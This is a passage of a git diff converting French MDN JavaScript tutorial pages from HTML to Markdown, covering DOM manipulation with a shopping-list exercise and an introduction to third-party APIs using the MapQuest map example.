d'événement pour que la `<div>` soit redimensionnée à chaque fois que la fenêtre l'est. L'objet [`Window`](/fr/docs/Web/API/Window) dispose d'un événement dédié appelé `resize`, qui est déclenché à chaque fois que la fenêtre est redimensionnée — nous pouvons utiliser le gestionnaire d'événement {{domxref("GlobalEventHandlers/onresize", "Window.onresize")}} pour ré-exécuter notre code de dimensionnement à chaque fois. Ajoutez ce qui suit au bas de votre code: -<div class="note"> -<p><strong>Note :</strong> En cas de blocage, jetez un œil à notre <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/window-resize-example-finished.html">exemple de redimensionnement de la fenêtre terminé</a> sur GitHub (<a href="https://mdn.github.io/learning-area/javascript/apis/document-manipulation/window-resize-example-finished.html">voir en direct aussi</a>).</p> -</div> + ```js + window.onresize = function() { + winWidth = window.innerWidth; + winHeight = window.innerHeight; + div.style.width = winWidth + 'px'; + div.style.height = winHeight + 'px'; + } + ``` -<h2 id="active_learning_a_dynamic_shopping_list">Apprentissage actif : Une liste de courses dynamique</h2> +> **Note :** En cas de blocage, jetez un œil à notre [exemple de redimensionnement de la fenêtre terminé](https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/window-resize-example-finished.html) sur GitHub ([voir en direct aussi](https://mdn.github.io/learning-area/javascript/apis/document-manipulation/window-resize-example-finished.html)). -<p>Pour clore cet article, nous aimerions vous proposer un petit challenge : nous voulons créer une liste de courses simple qui nous permette d'ajouter des articles à la liste de façon dynamique, le tout grâce à un champ de formulaire et un bouton. Quand vous ajoutez une valeur au champ et appuyez sur le bouton :</p> +## Apprentissage actif : Une liste de courses dynamique -<ul> - <li>L'article doit être ajouté à la liste.</li> - <li>Chaque article de la liste doit avoir un bouton qui, quand on le presse, supprime cet élément de la liste.</li> - <li>Le champ doit être vidé et reprendre le focus pour que vous puissiez entrer directement un nouvel article.</li> -</ul> +Pour clore cet article, nous aimerions vous proposer un petit challenge : nous voulons créer une liste de courses simple qui nous permette d'ajouter des articles à la liste de façon dynamique, le tout grâce à un champ de formulaire et un bouton. Quand vous ajoutez une valeur au champ et appuyez sur le bouton : -<p>La démo terminée doit ressembler à ça:</p> +- L'article doit être ajouté à la liste. +- Chaque article de la liste doit avoir un bouton qui, quand on le presse, supprime cet élément de la liste. +- Le champ doit être vidé et reprendre le focus pour que vous puissiez entrer directement un nouvel article. -<p><img alt="" src="shopping-list.png"></p> +La démo terminée doit ressembler à ça: -<p>Pour compléter l'exercice, suivez les étapes ci-dessous, et assurez-vous que votre exemple se comporte comme décrit ci-dessus.</p> + -<ol> - <li>Tout d'abord, téléchargez une copie du fichier <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/shopping-list.html">shopping-list.html</a>. Vous verrez qu'il contient : un peu de CSS, une liste avec un titre, un champ, un bouton, une liste vide et un élément <a href="/fr/docs/Web/HTML/Element/script"><code><script></code></a>. Vous apporterez toutes vos modifications à l'intérieur du script.</li> - <li>Créez trois variables, contenant des références aux éléments de liste <a href="/fr/docs/Web/HTML/Element/ul"><code><ul></code></a>, de champ <a href="/fr/docs/Web/HTML/Element/Input"><code><input></code></a> et de bouton <a href="/fr/docs/Web/HTML/Element/Button"><code><button></code></a>.</li> - <li>Créez une <a href="/fr/docs/Learn/JavaScript/Building_blocks/Functions">fonction</a> qui sera déclenchée lorsqu'on clique sur le bouton.</li> - <li>À l'intérieur du corps de la fonction, commencez par stocker la <a href="/fr/docs/Web/API/HTMLInputElement#properties">valeur actuelle</a> (propriété <code>value</code>) du champ dans une variable.</li> - <li>Ensuite, videz le champ en définissant sa valeur comme une chaîne vide — <code>''</code>.</li> - <li>Créez trois nouveaux éléments : un élément de liste <a href="/fr/docs/Web/HTML/Element/li"><code><li></code></a>, un <a href="/fr/docs/Web/HTML/Element/span"><code><span></code></a> et un bouton <a href="/fr/docs/Web/HTML/Element/Button"><code><button></code></a>, et stockez-les chacun dans des variables.</li> - <li>Attachez le <code><span></code> et le <code><button></code> comme enfants de <code><li></code>.</li> - <li>Définissez le contenu texte du <code><span></code> comme égal à la valeur du champ que vous avez récupéré précédemment, et le contenu du bouton à "Supprimer".</li> - <li>Attachez l'article <code><li></code> comme enfant de la liste.</li> - <li>Ajoutez un gestionnaire d'événement au bouton "Supprimer", de façon à ce que lorsqu'on le clique le <code><li></code> dans lequel il se situe soit supprimé.</li> - <li>Enfin, utilisez la méthode <a href="/fr/docs/Web/API/HTMLOrForeignElement/focus"><code>HTMLElement.focus</code></a> pour donner le focus au champ, qu'il soit prêt à recevoir la valeur du prochain article de la liste de courses.</li> -</ol> +Pour compléter l'exercice, suivez les étapes ci-dessous, et assurez-vous que votre exemple se comporte comme décrit ci-dessus. -<div class="note"> -<p><strong>Note :</strong> Si vous bloquez vraiment, jetez un œil à notre <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/shopping-list-finished.html">liste de courses terminée</a> (<a href="https://mdn.github.io/learning-area/javascript/apis/document-manipulation/shopping-list-finished.html">voir en direct</a>.)</p> -</div> +1. Tout d'abord, téléchargez une copie du fichier [shopping-list.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/shopping-list.html). Vous verrez qu'il contient : un peu de CSS, une liste avec un titre, un champ, un bouton, une liste vide et un élément [`<script>`](/fr/docs/Web/HTML/Element/script). Vous apporterez toutes vos modifications à l'intérieur du script. +2. Créez trois variables, contenant des références aux éléments de liste [`<ul>`](/fr/docs/Web/HTML/Element/ul), de champ [`<input>`](/fr/docs/Web/HTML/Element/Input) et de bouton [`<button>`](/fr/docs/Web/HTML/Element/Button). +3. Créez une [fonction](/fr/docs/Learn/JavaScript/Building_blocks/Functions) qui sera déclenchée lorsqu'on clique sur le bouton. +4. À l'intérieur du corps de la fonction, commencez par stocker la [valeur actuelle](/fr/docs/Web/API/HTMLInputElement#properties) (propriété `value`) du champ dans une variable. +5. Ensuite, videz le champ en définissant sa valeur comme une chaîne vide — `''`. +6. Créez trois nouveaux éléments : un élément de liste [`<li>`](/fr/docs/Web/HTML/Element/li), un [`<span>`](/fr/docs/Web/HTML/Element/span) et un bouton [`<button>`](/fr/docs/Web/HTML/Element/Button), et stockez-les chacun dans des variables. +7. Attachez le `<span>` et le `<button>` comme enfants de `<li>`. +8. Définissez le contenu texte du `<span>` comme égal à la valeur du champ que vous avez récupéré précédemment, et le contenu du bouton à "Supprimer". +9. Attachez l'article `<li>` comme enfant de la liste. +10. Ajoutez un gestionnaire d'événement au bouton "Supprimer", de façon à ce que lorsqu'on le clique le `<li>` dans lequel il se situe soit supprimé. +11. Enfin, utilisez la méthode [`HTMLElement.focus`](/fr/docs/Web/API/HTMLOrForeignElement/focus) pour donner le focus au champ, qu'il soit prêt à recevoir la valeur du prochain article de la liste de courses. -<h2 id="summary">Résumé</h2> +> **Note :** Si vous bloquez vraiment, jetez un œil à notre [liste de courses terminée](https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/shopping-list-finished.html) ([voir en direct](https://mdn.github.io/learning-area/javascript/apis/document-manipulation/shopping-list-finished.html).) -<p>Nous avons fini notre étude de la manipulation de document et du DOM. À ce stade, vous devriez comprendre quels sont les composants importants d'un navigateur web en matière de contrôle de documents et certains aspects de l'expérience utilisateur sur le Web. Plus important encore, vous devriez comprendre ce qu'est le Document Object Model, et comment l'utiliser pour créer des fonctionnalités utiles.</p> +## Résumé -<h2 id="see_also">Voir aussi</h2> +Nous avons fini notre étude de la manipulation de document et du DOM. À ce stade, vous devriez comprendre quels sont les composants importants d'un navigateur web en matière de contrôle de documents et certains aspects de l'expérience utilisateur sur le Web. Plus important encore, vous devriez comprendre ce qu'est le Document Object Model, et comment l'utiliser pour créer des fonctionnalités utiles. -<p>Il y a bien d'autres fonctionnalités que vous pouvez utiliser pour manipuler vos documents. Jetez un coup d'œil à quelques-unes de nos notices pour en découvrir davantage :</p> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/API/Document"><code>Document</code></a></li> - <li><a href="/fr/docs/Web/API/Window"><code>Window</code></a></li> - <li><a href="/fr/docs/Web/API/Node"><code>Node</code></a></li> - <li><a href="/fr/docs/Web/API/HTMLElement"><code>HTMLElement</code></a>, <a href="/fr/docs/Web/API/HTMLInputElement"><code>HTMLInputElement</code></a>, <a href="/fr/docs/Web/API/HTMLImageElement"><code>HTMLImageElement</code></a>, etc.</li> -</ul> +Il y a bien d'autres fonctionnalités que vous pouvez utiliser pour manipuler vos documents. Jetez un coup d'œil à quelques-unes de nos notices pour en découvrir davantage : -<p>(Voir notre <a href="/fr/docs/Web/API">Référence Web API</a> pour une liste complète des APIs web documentées sur MDN!)</p> +- [`Document`](/fr/docs/Web/API/Document) +- [`Window`](/fr/docs/Web/API/Window) +- [`Node`](/fr/docs/Web/API/Node) +- [`HTMLElement`](/fr/docs/Web/API/HTMLElement), [`HTMLInputElement`](/fr/docs/Web/API/HTMLInputElement), [`HTMLImageElement`](/fr/docs/Web/API/HTMLImageElement), etc. -<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Introduction", "Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs")}}</div> +(Voir notre [Référence Web API](/fr/docs/Web/API) pour une liste complète des APIs web documentées sur MDN!) +{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Introduction", "Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs")}} -<h2 id="in_this_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Introduction aux API du Web</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipuler des documents</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Récupérer des données du serveur</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">APIs tierces</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Dessiner des éléments graphiques</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">APIs vidéo et audio</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Stockage côté client</a></li> -</ul>
\ No newline at end of file +- [Introduction aux API du Web](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Introduction) +- [Manipuler des documents](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents) +- [Récupérer des données du serveur](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data) +- [APIs tierces](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs) +- [Dessiner des éléments graphiques](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics) +- [APIs vidéo et audio](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs) +- [Stockage côté client](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage) diff --git a/files/fr/learn/javascript/client-side_web_apis/third_party_apis/index.md b/files/fr/learn/javascript/client-side_web_apis/third_party_apis/index.md index 15dfb1c063..79886bea99 100644 --- a/files/fr/learn/javascript/client-side_web_apis/third_party_apis/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/third_party_apis/index.md @@ -8,131 +8,144 @@ tags: translation_of: Learn/JavaScript/Client-side_web_APIs/Third_party_APIs original_slug: Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs")}} -<p>Jusqu'à présent, nous avons uniquement abordé des API qui sont fournies par le navigateur. Il en existe d'autres : de nombreux sites et services, tels que Google Maps, Twitter, Facebook, PayPal, etc. fournissent des API permettant aux développeurs d'exploiter leurs données (ex. afficher un flux Twitter sur un blog) ou leurs services (utiliser l'outil de connexion Facebook pour que vos utilisateurs se connectent sur votre application). Dans cet article, nous verrons les différences entre les API du navigateur et celles fournies par des services tiers (en anglais, on parle de « <em>third-party API</em> ») et nous illustrerons certains cas d'usage pour ces API tierces.</p> +Jusqu'à présent, nous avons uniquement abordé des API qui sont fournies par le navigateur. Il en existe d'autres : de nombreux sites et services, tels que Google Maps, Twitter, Facebook, PayPal, etc. fournissent des API permettant aux développeurs d'exploiter leurs données (ex. afficher un flux Twitter sur un blog) ou leurs services (utiliser l'outil de connexion Facebook pour que vos utilisateurs se connectent sur votre application). Dans cet article, nous verrons les différences entre les API du navigateur et celles fournies par des services tiers (en anglais, on parle de « _third-party API_ ») et nous illustrerons certains cas d'usage pour ces API tierces. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Les bases de JavaScript (voir <a href="/fr/docs/Learn/JavaScript/First_steps">premiers pas</a>, <a href="/fr/docs/Apprendre/JavaScript/Building_blocks"> blocs de construction</a>, <a href="/fr/docs/Learn/JavaScript/Objects">les objets JavaScript</a>), <a href="/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Introduction">les bases des API côté client</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Comprendre le fonctionnement des API tierces et comment les utiliser pour ajouter des fonctionnalités à ses sites / applications.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Les bases de JavaScript (voir + <a href="/fr/docs/Learn/JavaScript/First_steps">premiers pas</a>, + <a href="/fr/docs/Apprendre/JavaScript/Building_blocks" + >blocs de construction</a + >, + <a href="/fr/docs/Learn/JavaScript/Objects">les objets JavaScript</a>), + <a + href="/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Introduction" + >les bases des API côté client</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Comprendre le fonctionnement des API tierces et comment les utiliser + pour ajouter des fonctionnalités à ses sites / applications. + </td> + </tr> + </tbody> </table> -<h2 id="Quest-ce_quune_API_tierce">Qu'est-ce qu'une API tierce ?</h2> +## Qu'est-ce qu'une API tierce ? -<p>Les API tierces sont des API qui sont fournis par des tiers, généralement des entreprises comme Facebook, Twitter ou Google, qui permettent d'accéder à leurs données et/ou leurs fonctionnalités grâce à JavaScript afin de les utiliser sur son site. Utiliser une API de cartographie afin d'afficher une carte sur une page est un exemple.</p> +Les API tierces sont des API qui sont fournis par des tiers, généralement des entreprises comme Facebook, Twitter ou Google, qui permettent d'accéder à leurs données et/ou leurs fonctionnalités grâce à JavaScript afin de les utiliser sur son site. Utiliser une API de cartographie afin d'afficher une carte sur une page est un exemple. -<p>Regardons <a href="https://mdn.github.io/learning-area/javascript/apis/third-party-apis/mapquest/">cet exemple qui utilise l'API MapQuest</a> et voyons avec lui les différences entre les API tierces et celles du navigateur.</p> +Regardons [cet exemple qui utilise l'API MapQuest](https://mdn.github.io/learning-area/javascript/apis/third-party-apis/mapquest/) et voyons avec lui les différences entre les API tierces et celles du navigateur. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez <a href="/fr/docs/Apprendre#Obtenir_nos_exemples_de_code">récupérer l'ensemble des exemples de code</a> en une seule fois. Dans ce cas, il vous suffit de rechercher dans votre dépôt les fichiers utilisés pour chaque section.</p> -</div> +> **Note :** Vous pouvez [récupérer l'ensemble des exemples de code](/fr/docs/Apprendre#Obtenir_nos_exemples_de_code) en une seule fois. Dans ce cas, il vous suffit de rechercher dans votre dépôt les fichiers utilisés pour chaque section. -<h3 id="Elles_sont_situées_sur_des_serveurs_tiers">Elles sont situées sur des serveurs tiers</h3> +### Elles sont situées sur des serveurs tiers -<p>Les API fournies par le navigateur sont construites <strong>dans</strong> le navigateur et on peut y accéder immédiatement avec du code JavaScript. Ainsi, l'API Web Audio <a href="/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Introduction#Comment_les_API_fonctionnent-elles"> que nous avons vu dans cet article introductif</a> s'utilise via l'objet {{domxref("AudioContext")}} fourni nativement :</p> +Les API fournies par le navigateur sont construites **dans** le navigateur et on peut y accéder immédiatement avec du code JavaScript. Ainsi, l'API Web Audio [que nous avons vu dans cet article introductif](/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Introduction#Comment_les_API_fonctionnent-elles) s'utilise via l'objet {{domxref("AudioContext")}} fourni nativement : -<pre class="brush: js">const audioCtx = new AudioContext(); +```js +const audioCtx = new AudioContext(); ... const audioElement = document.querySelector('audio'); ... const audioSource = audioCtx.createMediaElementSource(audioElement); -// etc.</pre> +// etc. +``` -<p>En revanche, les API tierces sont situées sur des serveurs tiers. Pour y accéder avec JavaScript, il faut d'abord se connecter aux fonctionnalités de l'API afin de les rendre disponibles sur la page. Pour cela, on pourra utiliser une bibliothèque JavaScript disponible sur le serveur via un élément {{htmlelement("script")}}. Pour notre exemple avec MapQuest, voici ce que ça donne :</p> +En revanche, les API tierces sont situées sur des serveurs tiers. Pour y accéder avec JavaScript, il faut d'abord se connecter aux fonctionnalités de l'API afin de les rendre disponibles sur la page. Pour cela, on pourra utiliser une bibliothèque JavaScript disponible sur le serveur via un élément {{htmlelement("script")}}. Pour notre exemple avec MapQuest, voici ce que ça donne : -<pre class="brush: js"><script src="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.js"></script> -<link type="text/css" rel="stylesheet" href="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.css"/></pre> +```js +<script src="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.js"></script> +<link type="text/css" rel="stylesheet" href="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.css"/> +``` -<p>On peut alors utiliser les objets fournis par cette bibliothèque. Voici un fragment de code qui illustre cette utilisation :</p> +On peut alors utiliser les objets fournis par cette bibliothèque. Voici un fragment de code qui illustre cette utilisation : -<pre class="brush: js">var L; +```js +var L; var map = L.mapquest.map('map', { center: [53.480759, -2.242631], layers: L.mapquest.tileLayer('map'), zoom: 12 -});</pre> +}); +``` -<p>Ici on crée une variable dans laquelle enregistrer les informations de la carte puis on crée une nouvelle carte à l'aide de la méthode <code>mapquest.map()</code> qui prend comme argument :</p> +Ici on crée une variable dans laquelle enregistrer les informations de la carte puis on crée une nouvelle carte à l'aide de la méthode `mapquest.map()` qui prend comme argument : -<ul> - <li>l'identifiant (la valeur de l'attribut <code>id</code>) d'un élément {{htmlelement("div")}} dans lequel on souhaite afficher la carte (ici, c'est <code>"map"</code>)</li> - <li>un objet indiquant les options pour la carte qu'on souhaite afficher. Ici, on indique les coordonnées du centre de la carte, le pavage utilisé (ici on utilise la méthode <code>mapquest.tileLayer()</code> ainsi que le niveau de zoom.</li> -</ul> +- l'identifiant (la valeur de l'attribut `id`) d'un élément {{htmlelement("div")}} dans lequel on souhaite afficher la carte (ici, c'est `"map"`) +- un objet indiquant les options pour la carte qu'on souhaite afficher. Ici, on indique les coordonnées du centre de la carte, le pavage utilisé (ici on utilise la méthode `mapquest.tileLayer()` ainsi que le niveau de zoom. -<p>C'est tout ce dont l'API MapQuest a besoin pour dessiner une carte. C'est le serveur auquel on se connecte qui gère les aspects plus compliqués (comme afficher les bonnes tuiles pour la zone géographique, etc.).</p> +C'est tout ce dont l'API MapQuest a besoin pour dessiner une carte. C'est le serveur auquel on se connecte qui gère les aspects plus compliqués (comme afficher les bonnes tuiles pour la zone géographique, etc.). -<div class="note"> -<p><strong>Note :</strong> Certaines API fonctionnent différemment pour l'accès aux fonctionnalités et passent par une requête HTTP sur une URL spécifique pour récupérer les données. Ces API sont appelées <a href="/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs#A_RESTful_API_%E2%80%94_NYTimes">API REST (ou <em>RESTful APIs</em> en anglais) et nous les abordons plus bas dans l'article</a>.</p> -</div> +> **Note :** Certaines API fonctionnent différemment pour l'accès aux fonctionnalités et passent par une requête HTTP sur une URL spécifique pour récupérer les données. Ces API sont appelées [API REST (ou _RESTful APIs_ en anglais) et nous les abordons plus bas dans l'article](/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs#A_RESTful_API_%E2%80%94_NYTimes). -<h3 id="Des_clés_dAPI_sont_nécessaires_pour_les_utiliser">Des clés d'API sont nécessaires pour les utiliser</h3> +### Des clés d'API sont nécessaires pour les utiliser -<p>Dans les navigateurs, <a href="/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Introduction#Elles_ont_des_mécanismes_de_sécurité_supplémentaires_si_nécessaire">comme nous l'avons vu dans le premier article</a>, les sécurités relatives aux API sont gérées via des permissions afin d'avertir l'utilisateur et d'éviter les utilisations malveillantes de la part des sites.</p> +Dans les navigateurs, [comme nous l'avons vu dans le premier article](/fr/docs/Apprendre/JavaScript/Client-side_web_APIs/Introduction#Elles_ont_des_mécanismes_de_sécurité_supplémentaires_si_nécessaire), les sécurités relatives aux API sont gérées via des permissions afin d'avertir l'utilisateur et d'éviter les utilisations malveillantes de la part des sites. -<p>Pour les API tierces, le système est légèrement différent. Généralement, ce sont des clés qui sont utilisées afin de fournir aux développeurs l'accès aux fonctionnalités de l'API. Dans ce système, la clé sert plutôt à protéger des abus de la part des développeurs envers le site tiers.</p> +Pour les API tierces, le système est légèrement différent. Généralement, ce sont des clés qui sont utilisées afin de fournir aux développeurs l'accès aux fonctionnalités de l'API. Dans ce système, la clé sert plutôt à protéger des abus de la part des développeurs envers le site tiers. -<p>Dans l'exemple MapQuest, vous pourrez trouver une ligne semblable à celle-ci :</p> +Dans l'exemple MapQuest, vous pourrez trouver une ligne semblable à celle-ci : -<pre>L.mapquest.key = 'VOTRE-CLE-D-API-ICI';</pre> + L.mapquest.key = 'VOTRE-CLE-D-API-ICI'; -<p>Cette ligne indique une clé d'API utilisée par notre application. Le développeur de l'application doit obtenir une clé et l'inclure dans le code de l'application afin de pouvoir accéder aux fonctionnalités de l'API. Pour cet exemple, il s'agit d'une valeur imaginaire.</p> +Cette ligne indique une clé d'API utilisée par notre application. Le développeur de l'application doit obtenir une clé et l'inclure dans le code de l'application afin de pouvoir accéder aux fonctionnalités de l'API. Pour cet exemple, il s'agit d'une valeur imaginaire. -<div class="blockIndicator note"> -<p><strong>Note :</strong> Lorsque vous construisez votre propre application, utilisez une « vraie » valeur de clé plutôt que la valeur de substitution fournie en exemple.</p> -</div> +> **Note :** Lorsque vous construisez votre propre application, utilisez une « vraie » valeur de clé plutôt que la valeur de substitution fournie en exemple. -<p>Certaines API peuvent nécessiter de fournir la clé d'une façon différente mais le fonctionnement général reste similaire.</p> +Certaines API peuvent nécessiter de fournir la clé d'une façon différente mais le fonctionnement général reste similaire. -<p>L'existence d'une telle clé d'API permet au fournisseur tiers de contrôler les accès et actions des différents développeurs/utilisateurs. Ainsi, lorsqu'un développeur demande une clé, il devient alors connu du fournisseur de l'API et ce dernier peut agir de son côté si l'API est détournée ou utilisée de façon incorrecte (par exemple pour pister des personnes ou parce que le site du développeur sollicite l'API avec de trop nombreuses requêtes). Dès qu'un usage incorrect est détecté du côté du fournisseur, il suffit alors de révoquer l'accès et de couper ou de limiter les accès pour cette clé.</p> +L'existence d'une telle clé d'API permet au fournisseur tiers de contrôler les accès et actions des différents développeurs/utilisateurs. Ainsi, lorsqu'un développeur demande une clé, il devient alors connu du fournisseur de l'API et ce dernier peut agir de son côté si l'API est détournée ou utilisée de façon incorrecte (par exemple pour pister des personnes ou parce que le site du développeur sollicite l'API avec de trop nombreuses requêtes). Dès qu'un usage incorrect est détecté du côté du fournisseur, il suffit alors de révoquer l'accès et de couper ou de limiter les accès pour cette clé. -<h2 id="Étendre_lexemple_«_MapQuest_»">Étendre l'exemple « MapQuest »</h2> +## Étendre l'exemple « MapQuest » -<p>Ajoutons quelques fonctionnalités à cet exemple MapQuest afin d'illustrer le fonctionnement d'autres aspects de l'API.</p> +Ajoutons quelques fonctionnalités à cet exemple MapQuest afin d'illustrer le fonctionnement d'autres aspects de l'API. -<ol> - <li> - <p>Pour commencer cette section, copiez <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/mapquest/starter-file.html">le fichier initial</a> dans un nouveau répertoire. Si vous avez déjà <a href="/fr/docs/Apprendre#Obtenir_nos_exemples_de_code">cloné le dépôt des exemples</a>, vous disposez déjà d'une copie située sous le répertoire <em>javascript/apis/third-party-apis/mapquest</em>.</p> - </li> - <li> - <p>Ensuite, <a href="https://developer.mapquest.com/">rendez-vous sur le site MapQuest pour les développeurs</a>, créez un compte puis créez une clé de développement (au moment où nous écrivons ces lignes, sur le site, le nom utilisé est "consumer key" et la procédure de création demande aussi la saisie d'une URL "callback URL" qui est optionnelle (vous pouvez la laisser vide).</p> - </li> - <li>Ouvrez un éditeur pour éditer le fichier initial et remplacez la valeur pour la clé d'API avec la vôtre.</li> -</ol> +1. Pour commencer cette section, copiez [le fichier initial](https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/mapquest/starter-file.html) dans un nouveau répertoire. Si vous avez déjà [cloné le dépôt des exemples](/fr/docs/Apprendre#Obtenir_nos_exemples_de_code), vous disposez déjà d'une copie située sous le répertoire _javascript/apis/third-party-apis/mapquest_. +2. Ensuite, [rendez-vous sur le site MapQuest pour les développeurs](https://developer.mapquest.com/), créez un compte puis créez une clé de développement (au moment où nous écrivons ces lignes, sur le site, le nom utilisé est "consumer key" et la procédure de création demande aussi la saisie d'une URL "callback URL" qui est optionnelle (vous pouvez la laisser vide). +3. Ouvrez un éditeur pour éditer le fichier initial et remplacez la valeur pour la clé d'API avec la vôtre. -<h3 id="Modifier_le_type_de_la_carte">Modifier le type de la carte</h3> +### Modifier le type de la carte -<p>L'API MapQuest permet d'afficher différents types de carte. Localisez la ligne suivante dans votre fichier :</p> +L'API MapQuest permet d'afficher différents types de carte. Localisez la ligne suivante dans votre fichier : -<pre class="brush: js">layers: L.mapquest.tileLayer('map')</pre> +```js +layers: L.mapquest.tileLayer('map') +``` -<p>Ici, vous pouvez changer <code>'map'</code> en <code>'hybrid'</code> afin d'afficher une carte avec un style hybride. Vous pouvez essayer d'autres valeurs comme celles indiquées sur <a href="https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-tile-layer/">la page de référence de la méthode <code>tileLayer()</code></a>.</p> +Ici, vous pouvez changer `'map'` en `'hybrid'` afin d'afficher une carte avec un style hybride. Vous pouvez essayer d'autres valeurs comme celles indiquées sur [la page de référence de la méthode `tileLayer()`](https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-tile-layer/). -<h3 id="Ajouter_différents_contrôles">Ajouter différents contrôles</h3> +### Ajouter différents contrôles -<p>Sur la carte, on peut utiliser différents contrôles. Par défaut, seul un contrôle pour le zoom est affiché. Il est possible d'étendre les contrôles disponibles en utilisant la méthode<code>map.addControl()</code>. Ajoutez la ligne suivante à l'intérieur du gestionnaire <code>window.onload</code> :</p> +Sur la carte, on peut utiliser différents contrôles. Par défaut, seul un contrôle pour le zoom est affiché. Il est possible d'étendre les contrôles disponibles en utilisant la méthode`map.addControl()`. Ajoutez la ligne suivante à l'intérieur du gestionnaire `window.onload` : -<pre class="brush: js">map.addControl(L.mapquest.control());</pre> +```js +map.addControl(L.mapquest.control()); +``` -<p>La méthode <a href="https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-control/"><code>mapquest.control()</code></a> crée un ensemble complet de contrôle et est placée, par défaut, dans le coin supérieur droit de la carte. Cette position peut être ajustée grâce à un paramètre d'options contenant une propriété <code>position</code> dont la valeur est un mot-clé décrivant la position souhaitée. Vous pouvez modifier la ligne de la façon suivante par exemple :</p> +La méthode [`mapquest.control()`](https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-control/) crée un ensemble complet de contrôle et est placée, par défaut, dans le coin supérieur droit de la carte. Cette position peut être ajustée grâce à un paramètre d'options contenant une propriété `position` dont la valeur est un mot-clé décrivant la position souhaitée. Vous pouvez modifier la ligne de la façon suivante par exemple : -<pre class="brush: js"> map.addControl(L.mapquest.control({ position: 'bottomright' }));</pre> +```js + map.addControl(L.mapquest.control({ position: 'bottomright' })); +``` -<p>D'autres types de contrôle sont disponibles comme <code><a href="https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-search-control/">mapquest.searchControl()</a></code> et <code><a href="https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-satellite-control/">mapquest.satelliteControl()</a></code>. Certains sont avancés et permettent de nombreuses choses. N'hésitez pas à en essayer différents pour voir ce qui vous semble le mieux pour votre projet.</p> +D'autres types de contrôle sont disponibles comme [`mapquest.searchControl()`](https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-search-control/) et [`mapquest.satelliteControl()`](https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-satellite-control/). Certains sont avancés et permettent de nombreuses choses. N'hésitez pas à en essayer différents pour voir ce qui vous semble le mieux pour votre projet. -<h3 id="Ajouter_un_marqueur_personnalisé">Ajouter un marqueur personnalisé</h3> +### Ajouter un marqueur personnalisé -<p>Pour ajouter une icône sur un point de la carte, on pourra utiliser la méthode <code><a href="https://leafletjs.com/reference-1.3.0.html#marker">L.marker()</a></code> (documentée dans la documentation de Leaflet.js). Dans <code>window.onload</code>, vous pouvez ajouter le fragment de code suivante <code>window.onload</code> :</p> +Pour ajouter une icône sur un point de la carte, on pourra utiliser la méthode [`L.marker()`](https://leafletjs.com/reference-1.3.0.html#marker) (documentée dans la documentation de Leaflet.js). Dans 